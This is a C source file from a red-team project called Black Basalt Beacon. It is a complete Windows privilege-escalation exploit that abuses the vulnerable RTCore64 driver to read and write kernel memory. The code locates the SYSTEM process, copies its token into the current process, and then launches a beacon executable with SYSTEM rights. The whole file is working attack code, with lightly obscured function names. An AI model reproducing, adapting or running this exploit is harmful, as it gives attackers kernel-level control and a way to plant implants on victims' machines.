/* This file is part of Black Basalt Beacon. Black Basalt Beacon is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Black Basalt Beacon is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Black Basalt Beacon. If not, see . Copyright (c) LazyOwn RedTeam 2025. All rights reserved. */ #include #include #include #include #include #define BEACON L"C:\\Users\\Administrator\\Documents\\beacon.exe" void Con(const char* Message, ...) { va_list Args; va_start(Args, Message); vfprintf(stderr, Message, Args); fputc('\n', stderr); va_end(Args); } struct RTCORE64_MSR_READ { DWORD Register; DWORD ValueHigh; DWORD ValueLow; }; // _Static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof must be 12"); struct RTCORE64_MEMORY_READ { BYTE Pad0[8]; DWORD64 Address; BYTE Pad1[8]; DWORD ReadSize; DWORD Value; BYTE Pad3[16]; }; struct RTCORE64_MEMORY_WRITE { BYTE Pad0[8]; DWORD64 Address; BYTE Pad1[8]; DWORD ReadSize; DWORD Value; BYTE Pad3[16]; }; #define RTCORE64_MSR_READ_CODE 0x80002030 #define RTCORE64_MEMORY_READ_CODE 0x80002048 #define RTCORE64_MEMORY_WRITE_CODE 0x8000204c DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) { struct RTCORE64_MEMORY_READ MemoryRead; ZeroMemory(&MemoryRead, sizeof(MemoryRead)); MemoryRead.Address = Address; MemoryRead.ReadSize = Size; DWORD BytesReturned; DeviceIoControl(Device, RTCORE64_MEMORY_READ_CODE, &MemoryRead, sizeof(MemoryRead), &MemoryRead, sizeof(MemoryRead), &BytesReturned, NULL); return MemoryRead.Value; } void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) { struct RTCORE64_MEMORY_READ MemoryRead; ZeroMemory(&MemoryRead, sizeof(MemoryRead)); MemoryRead.Address = Address; MemoryRead.ReadSize = Size; MemoryRead.Value = Value; DWORD BytesReturned; DeviceIoControl(Device, RTCORE64_MEMORY_WRITE_CODE, &MemoryRead, sizeof(MemoryRead), &MemoryRead, sizeof(MemoryRead), &BytesReturned, NULL); } WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) { return (WORD)(ReadMemoryPrimitive(Device, 2, Address) & 0xffff); } DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) { return ReadMemoryPrimitive(Device, 4, Address); } DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) { DWORD low = ReadMemoryDWORD(Device, Address); DWORD high = ReadMemoryDWORD(Device, Address + 4); return ((DWORD64)high << 32) | low; } void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) { WriteMemoryPrimitive(Device, 4, Address, (DWORD)(Value & 0xffffffff)); WriteMemoryPrimitive(Device, 4, Address + 4, (DWORD)(Value >> 32)); } unsigned long long getKBAddr() { DWORD out = 0; DWORD nb = 0; PVOID* base = NULL; if (EnumDeviceDrivers(NULL, 0, &nb)) { base = (PVOID*)malloc(nb); if (base && EnumDeviceDrivers(base, nb, &out)) { unsigned long long addr = (unsigned long long)base[0]; free(base); return addr; } if (base) free(base); } return 0; } struct Offsets { DWORD64 UPIdOffset; DWORD64 APLinksOffset; DWORD64 TOffset; }; void MSYS(DWORD targetPID, struct Offsets offsets) { HANDLE Device = CreateFileW(L"\\\\.\\RTCore64", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (Device == INVALID_HANDLE_VALUE) { Con("[!] Unable to obtain a handle to the device object"); return; } Con("[*] Device object handle has been obtained"); unsigned long long NtoskbAddress = getKBAddr(); Con("[*] Ntoskrnl base address: %p", (void*)NtoskbAddress); HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe"); if (!Ntoskrnl) { Con("[!] Failed to load ntoskrnl.exe from disk"); CloseHandle(Device); return; } FARPROC pPsInitialSystemProcess = GetProcAddress(Ntoskrnl, "PsInitialSystemProcess"); if (!pPsInitialSystemProcess) { Con("[!] Failed to get PsInitialSystemProcess export"); FreeLibrary(Ntoskrnl); CloseHandle(Device); return; } DWORD64 PsInitialSystemProcessOffset = (DWORD64)pPsInitialSystemProcess - (DWORD64)Ntoskrnl; FreeLibrary(Ntoskrnl); // 👈 Liberamos aquí, ya no lo necesitamos DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskbAddress + PsInitialSystemProcessOffset); Con("[*] PsInitialSystemProcess address: %p", (void*)PsInitialSystemProcessAddress); DWORD64 SystemProcessToken = ReadMemoryDWORD64(Device, PsInitialSystemProcessAddress + offsets.TOffset) & ~0xF; Con("[*] System process token: %p", (void*)SystemProcessToken); DWORD64 CurrentProcessId = (DWORD64)targetPID; DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.APLinksOffset; DWORD64 CurrentProcessAddress = ProcessHead; do { DWORD64 ProcessAddress = CurrentProcessAddress - offsets.APLinksOffset; DWORD64 UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UPIdOffset); if (UniqueProcessId == CurrentProcessId) { break; } CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.APLinksOffset); } while (CurrentProcessAddress != ProcessHead); CurrentProcessAddress -= offsets.APLinksOffset; DWORD64 CurrentProcessFastToken = ReadMemoryDWORD64(Device, CurrentProcessAddress + offsets.TOffset); DWORD64 CurrentProcessTokenReferenceCounter = CurrentProcessFastToken & 0xF; DWORD64 CurrentProcessToken = CurrentProcessFastToken & ~0xF; Con("[*] Current process token: %p", (void*)CurrentProcessToken); Con("[*] Stealing System process token ..."); WriteMemoryDWORD64(Device, CurrentProcessAddress + offsets.TOffset, CurrentProcessTokenReferenceCounter | SystemProcessToken); CloseHandle(Device); } struct Offsets getVOsets() { wchar_t value[255] = { 0 }; DWORD BufferSize = sizeof(value); if (RegGetValueW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, value, &BufferSize) != ERROR_SUCCESS) { fwprintf(stderr, L"[!] Failed to read ReleaseId\n"); exit(-1); } fwprintf(stderr, L"[+] Windows Version %s Found\n", value); int wV = _wtoi(value); struct Offsets offsets; switch (wV) { case 1607: offsets.UPIdOffset = 0x02e8; offsets.APLinksOffset = 0x02f0; offsets.TOffset = 0x0358; break; case 1803: case 1809: offsets.UPIdOffset = 0x02e0; offsets.APLinksOffset = 0x02e8; offsets.TOffset = 0x0358; break; case 1903: case 1909: offsets.UPIdOffset = 0x02e8; offsets.APLinksOffset = 0x02f0; offsets.TOffset = 0x0360; break; case 2004: case 2009: offsets.UPIdOffset = 0x0440; offsets.APLinksOffset = 0x0448; offsets.TOffset = 0x04b8; break; default: fwprintf(stderr, L"[!] Version Offsets Not Found!\n"); exit(-1); } return offsets; } int main(int argc, char *argv[]) { struct Offsets osets = getVOsets(); MSYS(GetCurrentProcessId(), osets); Con("[*] Spawning new shell ..."); STARTUPINFOW StartupInfo = {0}; StartupInfo.cb = sizeof(StartupInfo); PROCESS_INFORMATION ProcessInformation; if (!CreateProcessW(BEACON, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &StartupInfo, &ProcessInformation)) { Con("[!] Failed to spawn shell"); return -1; } WaitForSingleObject(ProcessInformation.hProcess, INFINITE); CloseHandle(ProcessInformation.hThread); CloseHandle(ProcessInformation.hProcess); return 0; }